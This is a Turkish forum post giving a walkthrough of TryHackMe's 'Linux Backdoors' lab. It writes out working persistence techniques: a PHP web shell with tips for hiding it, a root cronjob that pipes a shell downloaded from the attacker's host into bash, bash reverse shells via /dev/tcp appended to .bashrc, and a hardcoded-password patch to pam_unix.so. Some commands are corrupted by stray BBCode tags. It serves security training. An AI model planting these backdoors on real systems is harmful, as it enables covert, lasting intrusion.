THM Linux Backdoors CTF WriteUp

Ghost Killer

Harici Saldırı Timleri Koordinatörü
13 Ocak 2019
11,317
7,690
4zpakek.png


Herkese merhaba arkadaşlar. Bu konumuzda sizlerle beraber TryHackMe (THM) sitesinde bulunan Linux Backdoors isimli makineyi çözeceğiz.


Görev 1: Giriş

Görev 1'de çevirisini yapacak olursak bize bunları anlatıyor;

Herkese merhaba!

Bu oda ortak Linux arka kapı tekniklerini öğrenmeye adanmıştır! Arka kapı, makineye tutarlı erişimimizi sağlamak için yapabileceğimiz bir şeydir.

Yani makine yeniden başlatılsa, kapansa ya da her neyse, yine de ona erişebiliyoruz.

Bunlar gerçek güvenlik açıkları değil, yalnızca hedef :) erişiminizi korumanın yollarıdır

Bu odada gösterilen tüm arka kapı tekniklerini yeniden oluşturmak için, hepsini kendi makinenizde deneyebilir veya "THM ATTACK BOX" ı kullanabilirsiniz.

Daha güvenli ve bir şeyi berbat edip etmediğin önemli değil.

Mutlu Hacklemeler!


Görev 2: SSH Arka Kapılar

Görev 2'de bizden ssh keygen oluşturmamızı istiyor. Bunu terminalimize gelip "ssh-keygen" komutunu girerek yapabiliriz.

8dcx6uj.png


Artık iki anahtarımız var. 1 özel anahtar ve 1 ortak anahtar, artık /root/.ssh adresine gidebilir ve ortak anahtarımızı orada bırakabiliriz.


.shh dizini yok ise

" mkdir .shh "

komutu ile oluşturabiliriz.



chmod 600 id_rsa

komutumuz ile yetkilendiriyoruz.




Anahtara doğru izinleri verdikten sonra

ssh -i id_rsa root@ip

komutu ile hedef makineye giriş yapabiliriz.



Soru 1)

Anahtarlarımızı hangi dizine yerleştireğiz?



Cevap: .shh



Soru 2)

Özel anahtarımızı göstermek için hangi bayrağı kullanıyoruz?



Cevap: -i



Görev 3: PHP Arka Kapılar



Şimdi ikinci arka kapıya girelim: PHP Arka Kapılar!




Bir Linux ana bilgisayarında root erişimi alırsanız, büyük olasılıkla web rootunda itibar ve yararlı bilgiler ararsınız.



Web rootu genellikle şu konumda bulunur:


/var/www/html



php dosyası oluşturmayı ve bu kod parçasının içine koymayı deneyebiliriz.




PHP:
<?php

    if (isset($_REQUEST['cmd'])) {

        echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";

    }

?>



Bu kod yalnızca "cmd" parametresini alır ve bu parametreye verilen her şeyi yürütür.




Arka kapıyı daha gizli hale getirmek için yollar;



1. Bu kod parçasını /var/www/html'de zaten mevcut olan php dosyalarına eklemeye çalışın. Dosyaların ortasına doğru daha fazla eklemek kesinlikle kötü amaçlı eylemlerimizi biraz daha gizli hale getirecektir.



2. "cmd" parametresini başka bir şeyle değiştirin. Yaygın olmayan birşey ile değiştirin. "Cmd" gerçekten yaygındır ve hack topluluğunda zaten çok iyi bilinmektedir. Değiştirdikten sonra kaydedin. Bu şekilde cmd aratıldığında kodumuz çıkmaz ve gizli olarak kalır.



Görev 4: CronJob Arka Kapılar



Şimdi üçüncü arka kapı tekniğine girelim. Bu arka kapı bir cronjob'u çalıştırmak söz konusu.




/etc/cronjob olan cronjobs dosyamıza göz atalım.



l071103.png




Bu, makinenizde bir zamanda çalışması planlanan tüm görevleri temsil eder.



Herhangi bir ana bilgisayar üzerinde root erişiminiz olduktan sonra, zamanlanmış herhangi bir görevi ekleyebiliriz.



Görevlerin üstündeki 2 harfe dikkat edin: "m ve h"



Bunlar, görevin her saat veya her dakika çalışması gerektiğini gösteren harflerdir.



Arka kapıya girmek için bu komutu cronjob dosyamıza eklememiz gerek.



Kod:
* * * * * root curl http://<yourip>:8080/shell | bash



Bir dosyayı indirmek için önce "curl" kullanıyoruz ve sonra "bash"komutunu kullanıyoruz.



Kullanmak istediğimiz "shell" dosyasının içeriği basitçe şu şekilde;



Kod:
#!/bin/bash[/B][/SIZE][/CENTER]
[SIZE=5][B]
[CENTER]bash -i >&/7/tcp/ip/port 0>&1






- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



Shellimizi servis eden bir HTTP sunucusu çalıştırmamız gerekir.



Bunun için komutumuz;



Kod:
python3 -m http.server 8080



Belirtilen bağlantı noktasını bu komutla dinleyebiliriz;



Kod:
nc -nvlp <port>





Soru 1)

"M" harfi cronjobs'ta ne anlama geliyor?




Cevap: minute



Soru 2)

"H" harfi cronjobs'ta ne anlama geliyor?



Cevap: hour







Görev 5: .bashrc Arka Kapılar



Şimdi ".bashrc" ile arka kapıya girmemiz isteniyor.





Bir kullanıcı oturum açma shelli olarak bash'e sahipse, etkileşimli bir oturum başlatıldığında giriş dizinindeki ".bashrc" dosyası yürütülür.

Bu nedenle, sistemlerine oldukça sık oturum açan herhangi bir kullanıcı kullanıyorsanız, ters shellinizi ".bashrc"lerine dahil etmek için bu komutu çalıştırabilirsiniz.


komutumuz;

Kod:
echo 'bash -i >& /dev/tcp/ip/port 0>&1' >> ~/.bashrc[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=5][B][CENTER][SIZE=5][B][CENTER]



çalıştırdıktan sonra işlemimizi kaydedebiliriz.

Görev 6: pam_unix.so Arka Kapılar


Görev 6 ve son görevimiz. Bu görevde 5 ten fazla arka kapı olduğu gözlemleniyor.

Bakacağımız arka kapı şu: pam_unix.

Arka kapıya girelim.

p17oim8.png


Burada görüldüğü gibi, "pam_unix.so" dosyası, kullanıcının sağlanan parolasını doğrulamak için "unix_verify_password" işlevini kullanır.

Şimdi şu ekran görüntüsüne bakalım:

5t4mteh.png



Kodumuza yeni bir satır eklediğimizi görebiliriz: (strcmp(p, "0xMitsurugi") != 0 )"



strcmp işlevine gelicek olursak

bu işlev temelde 2 dizeyi karşılaştırır.



Yukarıdaki ekran görüntüsünde, "p" değişkenini ve "0xMitsurugi" dizesini karşılaştırıyoruz.



"p" değişkeni kullanıcının sağlanan parolasını temsil ediyor. Başka bir deyişle, kullanıcının sağladığı parola.



Deyimin sonunda "!=0" ifadesini de görebilirsiniz. Bu "başarılı olmazsa" anlamına gelir. Bu nedenle, "p" değişkeni (kullanıcı tarafından sağlanan parola) ve "0xMitsurugi" dizesi aynı Değilse "unix_verify_password" işlevi kullanılacaktır.



Ancak, "p" değişkeni (kullanıcı tarafından sağlanan parola) ve "0xMitsurugi" dizesi aynıysa, kimlik doğrulaması başarılı olur. Başarıyı "PAM_SUCCESS" kullanarak işaretleriz.



Yani bu arka kapı aslında "pam_unix.so" ye kendi şifrenizi eklemeyi oluşur.



Dosyaya eklediğiniz parolayı bildiğinizden, "pam_unix.so" dan kaldırılana kadar bu parolayla her zaman kimlik doğrulaması yapabileceksiniz.



Bu sayede 6. görevde de bizden istenilenler yerine getirilmiş oldu.




Tüm görevleri tamamlayarak makinemizi de çözmüş oluyoruz.

ahy0leb.png


Başka bir konuda görüşmek dileğiyle...





iUBacd.gif






 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.